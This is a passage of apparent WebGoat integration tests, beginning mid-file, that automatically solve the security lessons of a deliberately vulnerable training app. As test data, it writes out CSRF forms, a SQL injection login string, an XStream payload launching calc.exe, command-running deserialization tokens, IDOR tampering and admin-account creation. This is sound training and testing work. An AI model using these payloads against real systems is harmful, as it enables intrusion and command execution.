.then()
.statusCode(HttpStatus.SC_FORBIDDEN);
// create user
var userTemplate =
"""
{"username":"%s","password":"%s","admin": "true"}
""";
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.body(String.format(userTemplate, this.getUser(), this.getUser()))
.post(webGoatUrlConfig.url("access-control/users"))
.then()
.statusCode(HttpStatus.SC_OK);
// get the users
var userHash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("access-control/users-admin-fix"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(webGoatUrlConfig.url("access-control/user-hash-fix"), Map.of("userHash", userHash), true);
}
private void assignment2() {
var userHash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("access-control/users"))
.then()
.statusCode(200)
.extract()
.jsonPath()
.get("find { it.username == \"Jerry\" }.userHash");
checkAssignment(webGoatUrlConfig.url("access-control/user-hash"), Map.of("userHash", userHash), true);
}
private void assignment1() {
var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config");
checkAssignment(webGoatUrlConfig.url("access-control/hidden-menu"), params, true);
}
}

View File

@ -0,0 +1,287 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.assertj.core.api.Assertions.assertThat;
import static org.junit.jupiter.api.Assertions.assertTrue;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import lombok.Data;
import lombok.SneakyThrows;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.owasp.webgoat.container.lessons.Assignment;
public class CSRFIntegrationTest extends IntegrationTest {
private static final String trickHTML3 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+ "<input type=\"hidden\" name=\"csrf\" value=\"thisisnotchecked\"/>\n"
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 3\"/>\n"
+ "</form></body></html>";
private static final String trickHTML4 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+ "<input type=\"hidden\" name=\"reviewText\" value=\"hoi\"/>\n"
+ "<input type=\"hidden\" name=\"starts\" value=\"3\"/>\n"
+ "<input type=\"hidden\" name=\"validateReq\""
+ " value=\"2aa14227b9a13d0bede0388a7fba9aa9\"/>\n"
+ "<input type=\"submit\" name=\"submit\" value=\"assignment 4\"/>\n"
+ "</form>\n"
+ "</body></html>";
private static final String trickHTML7 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" enctype='text/plain'"
+ " method=\"POST\">\n"
+ "<input type=\"hidden\""
+ " name='{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat"
+ " is the best!!' value='\"}' />\n"
+ "<input type=\"submit\" value=\"assignment 7\"/>\n"
+ "</form></body></html>";
private static final String trickHTML8 =
"<!DOCTYPE html><html><body><form action=\"WEBGOATURL\" method=\"POST\">\n"
+ "<input type=\"hidden\" name=\"username\" value=\"csrf-USERNAME\"/>\n"
+ "<input type=\"hidden\" name=\"password\" value=\"password\"/>\n"
+ "<input type=\"hidden\" name=\"matchingPassword\" value=\"password\"/>\n"
+ "<input type=\"hidden\" name=\"agree\" value=\"agree\"/>\n"
+ "<input type=\"submit\" value=\"assignment 8\"/>\n"
+ "</form></body></html>";
private String webwolfFileDir;
@BeforeEach
@SneakyThrows
public void init() {
startLesson("CSRF");
webwolfFileDir = getWebWolfFileServerLocation();
uploadTrickHtml("csrf3.html", trickHTML3.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/basic-get-flag")));
uploadTrickHtml("csrf4.html", trickHTML4.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/review")));
uploadTrickHtml("csrf7.html", trickHTML7.replace("WEBGOATURL", webGoatUrlConfig.url("csrf/feedback/message")));
uploadTrickHtml(
"csrf8.html",
trickHTML8.replace("WEBGOATURL", webGoatUrlConfig.url("login")).replace("USERNAME", this.getUser()));
}
@TestFactory
Iterable<DynamicTest> testCSRFLesson() {
return Arrays.asList(
dynamicTest("assignment 3", () -> checkAssignment3(callTrickHtml("csrf3.html"))),
dynamicTest("assignment 4", () -> checkAssignment4(callTrickHtml("csrf4.html"))),
dynamicTest("assignment 7", () -> checkAssignment7(callTrickHtml("csrf7.html"))),
dynamicTest("assignment 8", () -> checkAssignment8(callTrickHtml("csrf8.html"))));
}
@AfterEach
public void shutdown() throws IOException {
// logout();
login(); // because old cookie got replaced and invalidated
startLesson("CSRF", false);
checkResults("CSRF");
}
private void uploadTrickHtml(String htmlName, String htmlContent) throws IOException {
// remove any left over html
Path webWolfFilePath = Paths.get(webwolfFileDir);
if (webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)).toFile().exists()) {
Files.delete(webWolfFilePath.resolve(Paths.get(this.getUser(), htmlName)));
}
// upload trick html
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.multiPart("file", htmlName, htmlContent.getBytes())
.post(webWolfUrlConfig.url("fileupload"))
.then()
.extract()
.response()
.getBody()
.asString();
}
private String callTrickHtml(String htmlName) {
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("files/%s/%s".formatted(this.getUser(), htmlName)))
.then()
.extract()
.response()
.getBody()
.asString();
result = result.substring(8 + result.indexOf("action=\""));
result = result.substring(0, result.indexOf("\""));
return result;
}
private void checkAssignment3(String goatURL) {
String flag =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.post(goatURL)
.then()
.extract()
.path("flag")
.toString();
Map<String, Object> params = new HashMap<>();
params.put("confirmFlagVal", flag);
checkAssignment(webGoatUrlConfig.url("csrf/confirm-flag-1"), params, true);
}
private void checkAssignment4(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.put("reviewText", "test review");
params.put("stars", "5");
params.put(
"validateReq", "2aa14227b9a13d0bede0388a7fba9aa9"); // always the same token is the weakness
boolean result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.formParams(params)
.post(goatURL)
.then()
.extract()
.path("lessonCompleted");
assertTrue(result);
}
private void checkAssignment7(String goatURL) {
Map<String, Object> params = new HashMap<>();
params.put(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is the"
+ " best!!",
"\"}");
String flag =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.contentType(ContentType.TEXT)
.body(
"{\"name\":\"WebGoat\",\"email\":\"webgoat@webgoat.org\",\"content\":\"WebGoat is"
+ " the best!!=\"}")
.post(goatURL)
.then()
.extract()
.asString();
flag = flag.substring(9 + flag.indexOf("flag is:"));
flag = flag.substring(0, flag.indexOf("\""));
params.clear();
params.put("confirmFlagVal", flag);
checkAssignment(webGoatUrlConfig.url("csrf/feedback"), params, true);
}
private void checkAssignment8(String goatURL) {
// first make sure there is an attack csrf- user
registerCSRFUser();
Map<String, Object> params = new HashMap<>();
params.put("username", "csrf-" + this.getUser());
params.put("password", "password");
// login and get the new cookie
String newCookie =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("Referer", webWolfUrlConfig.url("files/fake.html"))
.params(params)
.post(goatURL)
.then()
.extract()
.cookie("JSESSIONID");
// select the lesson
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.get(webGoatUrlConfig.url("CSRF.lesson.lesson"))
.then()
.statusCode(200);
// click on the assignment
boolean result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", newCookie)
.post(webGoatUrlConfig.url("csrf/login"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted");
assertThat(result).isTrue();
login();
startLesson("CSRF", false);
Overview[] assignments =
RestAssured.given()
.cookie("JSESSIONID", getWebGoatCookie())
.relaxedHTTPSValidation()
.get(webGoatUrlConfig.url("service/lessonoverview.mvc/CSRF"))
.then()
.extract()
.jsonPath()
.getObject("$", Overview[].class);
assertThat(assignments)
.filteredOn(a -> a.getAssignment().getName().equals("CSRFLogin"))
.extracting(o -> o.solved)
.containsExactly(true);
}
@Data
private static class Overview {
Assignment assignment;
boolean solved;
}
/** Try to register the new user. Ignore the result. */
private void registerCSRFUser() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", "csrf-" + this.getUser())
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(webGoatUrlConfig.url("register.mvc"));
}
}

View File

@ -0,0 +1,147 @@
/*
* SPDX-FileCopyrightText: Copyright © 2022 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.Test;
import org.springframework.http.HttpStatus;
public class ChallengeIntegrationTest extends IntegrationTest {
@Test
void testChallenge1() {
startLesson("Challenge1");
byte[] resultBytes =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("challenge/logo"))
.then()
.statusCode(200)
.extract()
.asByteArray();
String pincode = new String(Arrays.copyOfRange(resultBytes, 81216, 81220));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "admin");
params.put("password", "!!webgoat_admin_1234!!".replace("1234", pincode));
checkAssignment(webGoatUrlConfig.url("challenge/1"), params, true);
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(webGoatUrlConfig.url("challenge/1"))
.then()
.statusCode(200)
.extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(webGoatUrlConfig.url("challenge/flag/1"), params, true);
checkResults("Challenge1");
}
@Test
void testChallenge5() {
startLesson("Challenge5");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username_login", "Larry");
params.put("password_login", "1' or '1'='1");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(webGoatUrlConfig.url("challenge/5"))
.then()
.statusCode(200)
.extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
params.clear();
params.put("flag", flag);
checkAssignment(webGoatUrlConfig.url("challenge/flag/5"), params, true);
checkResults("Challenge5");
}
@Test
void testChallenge7() {
startLesson("Challenge7");
cleanMailbox();
// One should first be able to download git.zip from WebGoat
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("challenge/7/.git"))
.then()
.statusCode(200)
.extract()
.asString();
// Should email WebWolf inbox this should give a hint to the link being static
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams("email", getUser() + "@webgoat.org")
.post(webGoatUrlConfig.url("challenge/7"))
.then()
.statusCode(200)
.extract()
.asString();
// Check whether email has been received
var responseBody =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrlConfig.url("mail"))
.then()
.extract()
.response()
.getBody()
.asString();
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
// Call reset link with admin link
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(
webGoatUrlConfig.url("challenge/7/reset-password/{link}"),
"375afe1104f4a487a73823c50a9292a2")
.then()
.statusCode(HttpStatus.ACCEPTED.value())
.extract()
.asString();
String flag = result.substring(result.indexOf("flag") + 6, result.indexOf("flag") + 42);
checkAssignment(webGoatUrlConfig.url("challenge/flag/7"), Map.of("flag", flag), true);
}
}

View File

@ -0,0 +1,160 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.Assertions.fail;
import io.restassured.RestAssured;
import java.nio.charset.Charset;
import java.security.NoSuchAlgorithmException;
import java.security.PrivateKey;
import java.security.interfaces.RSAPrivateKey;
import java.security.spec.InvalidKeySpecException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
import javax.xml.bind.DatatypeConverter;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.cryptography.CryptoUtil;
import org.owasp.webgoat.lessons.cryptography.HashingAssignment;
public class CryptoIntegrationTest extends IntegrationTest {
@Test
public void runTests() {
startLesson("Cryptography");
checkAssignment2();
checkAssignment3();
// Assignment 4
try {
checkAssignment4();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
fail();
}
try {
checkAssignmentSigning();
} catch (Exception e) {
e.printStackTrace();
fail();
}
checkAssignmentDefaults();
checkResults("Cryptography");
}
private void checkAssignment2() {
String basicEncoding =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/encoding/basic"))
.then()
.extract()
.asString();
basicEncoding = basicEncoding.substring("Authorization: Basic ".length());
String decodedString = new String(Base64.getDecoder().decode(basicEncoding.getBytes()));
String answer_user = decodedString.split(":")[0];
String answer_pwd = decodedString.split(":")[1];
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_user", answer_user);
params.put("answer_pwd", answer_pwd);
checkAssignment(webGoatUrlConfig.url("crypto/encoding/basic-auth"), params, true);
}
private void checkAssignment3() {
String answer_1 = "databasepassword";
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_pwd1", answer_1);
checkAssignment(webGoatUrlConfig.url("crypto/encoding/xor"), params, true);
}
private void checkAssignment4() throws NoSuchAlgorithmException {
String md5Hash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/hashing/md5"))
.then()
.extract()
.asString();
String sha256Hash =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/hashing/sha256"))
.then()
.extract()
.asString();
String answer_1 = "unknown";
String answer_2 = "unknown";
for (String secret : HashingAssignment.SECRETS) {
if (md5Hash.equals(HashingAssignment.getHash(secret, "MD5"))) {
answer_1 = secret;
}
if (sha256Hash.equals(HashingAssignment.getHash(secret, "SHA-256"))) {
answer_2 = secret;
}
}
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("answer_pwd1", answer_1);
params.put("answer_pwd2", answer_2);
checkAssignment(webGoatUrlConfig.url("crypto/hashing"), params, true);
}
private void checkAssignmentSigning() throws NoSuchAlgorithmException, InvalidKeySpecException {
String privatePEM =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("crypto/signing/getprivate"))
.then()
.extract()
.asString();
PrivateKey privateKey = CryptoUtil.getPrivateKeyFromPEM(privatePEM);
RSAPrivateKey privk = (RSAPrivateKey) privateKey;
String modulus = DatatypeConverter.printHexBinary(privk.getModulus().toByteArray());
String signature = CryptoUtil.signMessage(modulus, privateKey);
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("modulus", modulus);
params.put("signature", signature);
checkAssignment(webGoatUrlConfig.url("crypto/signing/verify"), params, true);
}
private void checkAssignmentDefaults() {
String text =
new String(
Base64.getDecoder()
.decode(
"TGVhdmluZyBwYXNzd29yZHMgaW4gZG9ja2VyIGltYWdlcyBpcyBub3Qgc28gc2VjdXJl"
.getBytes(Charset.forName("UTF-8"))));
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("secretText", text);
params.put("secretFileName", "default_secret");
checkAssignment(webGoatUrlConfig.url("crypto/secure/defaults"), params, true);
}
}

View File

@ -0,0 +1,37 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import java.io.IOException;
import java.util.HashMap;
import java.util.Map;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import org.junit.jupiter.api.Test;
import org.owasp.webgoat.lessons.deserialization.SerializationHelper;
public class DeserializationIntegrationTest extends IntegrationTest {
private static String OS = System.getProperty("os.name").toLowerCase();
@Test
public void runTests() throws IOException {
startLesson("InsecureDeserialization");
Map<String, Object> params = new HashMap<>();
params.clear();
if (OS.indexOf("win") > -1) {
params.put(
"token",
SerializationHelper.toString(new VulnerableTaskHolder("wait", "ping localhost -n 5")));
} else {
params.put(
"token", SerializationHelper.toString(new VulnerableTaskHolder("wait", "sleep 5")));
}
checkAssignment(webGoatUrlConfig.url("InsecureDeserialization/task"), params, true);
checkResults("InsecureDeserialization");
}
}

View File

@ -0,0 +1,224 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.Test;
import org.springframework.util.StringUtils;
public class GeneralLessonIntegrationTest extends IntegrationTest {
@Test
public void httpBasics() {
startLesson("HttpBasics");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("person", "goatuser");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
params.clear();
params.put("answer", "POST");
params.put("magic_answer", "33");
params.put("magic_num", "4");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, false);
params.clear();
params.put("answer", "POST");
params.put("magic_answer", "33");
params.put("magic_num", "33");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack2"), params, true);
checkResults("HttpBasics");
}
@Test
public void solveAsOtherUserHttpBasics() {
login("steven");
startLesson("HttpBasics");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("person", "goatuser");
checkAssignment(webGoatUrlConfig.url("HttpBasics/attack1"), params, true);
}
@Test
public void httpProxies() {
startLesson("HttpProxies");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
checkResults("HttpProxies");
}
@Test
public void cia() {
startLesson("CIA");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put(
"question_0_solution",
"Solution 3: By stealing a database where names and emails are stored and uploading it to a"
+ " website.");
params.put(
"question_1_solution",
"Solution 1: By changing the names and emails of one or more users stored in a database.");
params.put(
"question_2_solution",
"Solution 4: By launching a denial of service attack on the servers.");
params.put(
"question_3_solution",
"Solution 2: The systems security is compromised even if only one goal is harmed.");
checkAssignment(webGoatUrlConfig.url("cia/quiz"), params, true);
checkResults("CIA");
}
@Test
public void vulnerableComponents() {
if (StringUtils.hasText(System.getProperty("running.in.docker"))) {
String solution =
"<contact class='dynamic-proxy'>\n"
+ "<interface>org.owasp.webgoat.lessons.vulnerablecomponents.Contact</interface>\n"
+ " <handler class='java.beans.EventHandler'>\n"
+ " <target class='java.lang.ProcessBuilder'>\n"
+ " <command>\n"
+ " <string>calc.exe</string>\n"
+ " </command>\n"
+ " </target>\n"
+ " <action>start</action>\n"
+ " </handler>\n"
+ "</contact>";
startLesson("VulnerableComponents");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("payload", solution);
checkAssignment(webGoatUrlConfig.url("VulnerableComponents/attack1"), params, true);
checkResults("VulnerableComponents");
}
}
@Test
public void insecureLogin() {
startLesson("InsecureLogin");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("username", "CaptainJack");
params.put("password", "BlackPearl");
checkAssignment(webGoatUrlConfig.url("InsecureLogin/task"), params, true);
checkResults("InsecureLogin");
}
@Test
public void securePasswords() {
startLesson("SecurePasswords");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("password", "ajnaeliclm^&&@kjn.");
checkAssignment(webGoatUrlConfig.url("SecurePasswords/assignment"), params, true);
checkResults("SecurePasswords");
startLesson("AuthBypass");
params.clear();
params.put("secQuestion2", "John");
params.put("secQuestion3", "Main");
params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746");
checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
checkResults("AuthBypass");
startLesson("HttpProxies");
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("x-request-intercepted", "true")
.contentType(ContentType.JSON)
.get(webGoatUrlConfig.url("HttpProxies/intercept-request?changeMe=Requests are tampered easily"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
checkResults("HttpProxies");
}
@Test
public void chrome() {
startLesson("ChromeDevTools");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("param1", "42");
params.put("param2", "24");
String result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.header("webgoat-requested-by", "dom-xss-vuln")
.header("X-Requested-With", "XMLHttpRequest")
.formParams(params)
.post(webGoatUrlConfig.url("CrossSiteScripting/phone-home-xss"))
.then()
.statusCode(200)
.extract()
.path("output");
String secretNumber = result.substring("phoneHome Response is ".length());
params.clear();
params.put("successMessage", secretNumber);
checkAssignment(webGoatUrlConfig.url("ChromeDevTools/dummy"), params, true);
params.clear();
params.put("number", "24");
params.put("network_num", "24");
checkAssignment(webGoatUrlConfig.url("ChromeDevTools/network"), params, true);
checkResults("ChromeDevTools");
}
@Test
public void authByPass() {
startLesson("AuthBypass");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("secQuestion2", "John");
params.put("secQuestion3", "Main");
params.put("jsEnabled", "1");
params.put("verifyMethod", "SEC_QUESTIONS");
params.put("userId", "12309746");
checkAssignment(webGoatUrlConfig.url("auth-bypass/verify-account"), params, true);
checkResults("AuthBypass");
}
@Test
public void lessonTemplate() {
startLesson("LessonTemplate");
Map<String, Object> params = new HashMap<>();
params.clear();
params.put("param1", "secr37Value");
params.put("param2", "Main");
checkAssignment(webGoatUrlConfig.url("lesson-template/sample-attack"), params, true);
checkResults("LessonTemplate");
}
}

View File

@ -0,0 +1,104 @@
/*
* SPDX-FileCopyrightText: Copyright © 2020 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import io.restassured.RestAssured;
import io.restassured.http.ContentType;
import java.util.Arrays;
import java.util.HashMap;
import java.util.Map;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
public class IDORIntegrationTest extends IntegrationTest {
@BeforeEach
public void init() {
startLesson("IDOR");
}
@TestFactory
Iterable<DynamicTest> testIDORLesson() {
return Arrays.asList(
dynamicTest("assignment 2 - login", this::loginIDOR),
dynamicTest("profile", this::profile));
}
@AfterEach
public void shutdown() {
checkResults("IDOR");
}
private void loginIDOR() {
Map<String, Object> params = new HashMap<>();
params.put("username", "tom");
params.put("password", "cat");
checkAssignment(webGoatUrlConfig.url("IDOR/login"), params, true);
}
private void profile() {
// View profile - assignment 3a
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("IDOR/profile"))
.then()
.statusCode(200)
.extract()
.path("userId"),
CoreMatchers.is("2342384"));
// Show difference - assignment 3b
Map<String, Object> params = new HashMap<>();
params.put("attributes", "userId,role");
checkAssignment(webGoatUrlConfig.url("IDOR/diff-attributes"), params, true);
// View profile another way - assignment 4
params.clear();
params.put("url", "WebGoat/IDOR/profile/2342384");
checkAssignment(webGoatUrlConfig.url("IDOR/profile/alt-path"), params, true);
// assignment 5a
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("IDOR/profile/2342388"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
// assignment 5b
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.contentType(ContentType.JSON) // part of the lesson
.body(
"{\"role\":\"1\", \"color\":\"red\", \"size\":\"large\", \"name\":\"Buffalo Bill\","
+ " \"userId\":\"2342388\"}")
.put(webGoatUrlConfig.url("IDOR/profile/2342388"))
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
}
}

View File

@ -0,0 +1,256 @@
/*
* SPDX-FileCopyrightText: Copyright © 2019 WebGoat authors
* SPDX-License-Identifier: GPL-2.0-or-later
*/
package org.owasp.webgoat.integration;
import static io.restassured.RestAssured.given;
import io.restassured.RestAssured;
import io.restassured.filter.log.LogDetail;
import io.restassured.http.ContentType;
import java.util.Map;
import lombok.Getter;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.owasp.webgoat.ServerUrlConfig;
import org.springframework.http.HttpStatus;
public abstract class IntegrationTest {
protected final ServerUrlConfig webGoatUrlConfig = ServerUrlConfig.webGoat();
protected final ServerUrlConfig webWolfUrlConfig = ServerUrlConfig.webWolf();
@Getter private String webGoatCookie;
@Getter private String webWolfCookie;
@Getter private final String user = "webgoat";
@BeforeEach
public void login() {
login("webgoat");
}
protected void login(String user) {
String location =
given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(webGoatUrlConfig.url("login"))
.then()
.log()
.ifValidationFails(LogDetail.ALL) // Log the response details if validation fails
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.header("Location");
if (location.endsWith("?error")) {
webGoatCookie =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.formParam("matchingPassword", "password")
.formParam("agree", "agree")
.post(webGoatUrlConfig.url("register.mvc"))
.then()
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.cookie("JSESSIONID");
} else {
webGoatCookie =
given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(webGoatUrlConfig.url("login"))
.then()
.cookie("JSESSIONID")
.statusCode(302)
.extract()
.cookie("JSESSIONID");
}
webWolfCookie =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.formParam("username", user)
.formParam("password", "password")
.post(webWolfUrlConfig.url("login"))
.then()
.statusCode(302)
.cookie("WEBWOLFSESSION")
.extract()
.cookie("WEBWOLFSESSION");
}
@AfterEach
public void logout() {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.get(webGoatUrlConfig.url("logout"))
.then()
.statusCode(200);
}
public void startLesson(String lessonName) {
startLesson(lessonName, false);
}
public void startLesson(String lessonName, boolean restart) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url(lessonName + ".lesson.lesson"))
.then()
.statusCode(200);
if (restart) {
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.get(webGoatUrlConfig.url("service/restartlesson.mvc/%s.lesson".formatted(lessonName)))
.then()
.statusCode(200);
}
}
public void checkAssignment(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.post(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
public void checkAssignmentWithPUT(String url, Map<String, ?> params, boolean expectedResult) {
MatcherAssert.assertThat(
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
.formParams(params)
.put(url)
.then()
.statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
}
public void checkResults(String lesson) {
var result =
RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie())
